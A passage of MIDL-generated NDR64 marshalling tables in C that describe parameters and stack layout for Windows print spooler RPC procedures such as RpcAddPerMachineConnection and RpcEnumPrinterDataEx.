[in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pOutputData */      /* parameter pOutputData */\n        &__midl_frag971,\n        { \n        /* pOutputData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbOutputData */      /* parameter cbOutputData */\n        &__midl_frag1082,\n        { \n        /* cbOutputData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbOutputNeeded */      /* parameter pcbOutputNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbOutputNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pdwStatus */      /* parameter pdwStatus */\n        &__midl_frag1082,\n        { \n        /* pdwStatus */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], Basetype, SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag951_t __midl_frag951 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag995\n};\n\nstatic const __midl_frag948_t __midl_frag948 =\n{ \n/* RpcEnumPerMachineConnections */\n    { \n    /* RpcEnumPerMachineConnections */      /* procedure RpcEnumPerMachineConnections */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag1080,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterEnum */      /* parameter pPrinterEnum */\n        &__midl_frag951,\n        { \n        /* pPrinterEnum */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1082,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag942_t __midl_frag942 =\n{ \n/* RpcDeletePerMachineConnection */\n    { \n    /* RpcDeletePerMachineConnection */      /* procedure RpcDeletePerMachineConnection */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag1080,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag1081,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag932_t __midl_frag932 =\n{ \n/* RpcAddPerMachineConnection */\n    { \n    /* RpcAddPerMachineConnection */      /* procedure RpcAddPerMachineConnection */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag1080,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag1081,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrintServer */      /* parameter pPrintServer */\n        &__midl_frag1081,\n        { \n        /* pPrintServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pProvider */      /* parameter pProvider */\n        &__midl_frag1081,\n        { \n        /* pProvider */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag922_t __midl_frag922 =\n{ \n/* RpcDeletePrinterDriverEx */\n    { \n    /* RpcDeletePrinterDriverEx */      /* procedure RpcDeletePrinterDriverEx */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag1081,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDriverName */      /* parameter pDriverName */\n        &__midl_frag1081,\n        { \n        /* pDriverName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* dwDeleteFlag */      /* parameter dwDeleteFlag */\n        &__midl_frag1082,\n        { \n        /* dwDeleteFlag */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwVersionNum */      /* parameter dwVersionNum */\n        &__midl_frag1082,\n        { \n        /* dwVersionNum */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag916_t __midl_frag916 =\n{ \n/* RpcDeletePrinterKey */\n    { \n    /* RpcDeletePrinterKey */      /* procedure RpcDeletePrinterKey */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag909_t __midl_frag909 =\n{ \n/* RpcDeletePrinterDataEx */\n    { \n    /* RpcDeletePrinterDataEx */      /* procedure RpcDeletePrinterDataEx */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag1081,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag904_t __midl_frag904 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag903_t __midl_frag903 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag902_t __midl_frag902 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag903\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag904\n    }\n};\n\nstatic const __midl_frag901_t __midl_frag901 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag902\n};\n\nstatic const __midl_frag897_t __midl_frag897 =\n{ \n/* RpcEnumPrinterKey */\n    { \n    /* RpcEnumPrinterKey */      /* procedure RpcEnumPrinterKey */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pSubkey */      /* parameter pSubkey */\n        &__midl_frag902,\n        { \n        /* pSubkey */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbSubkey */      /* parameter cbSubkey */\n        &__midl_frag1082,\n        { \n        /* cbSubkey */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbSubkey */      /* parameter pcbSubkey */\n        &__midl_frag1082,\n        { \n        /* pcbSubkey */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag883_t __midl_frag883 =\n{ \n/* RpcEnumPrinterDataEx */\n    { \n    /* RpcEnumPrinterDataEx */      /* procedure RpcEnumPrinterDataEx */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 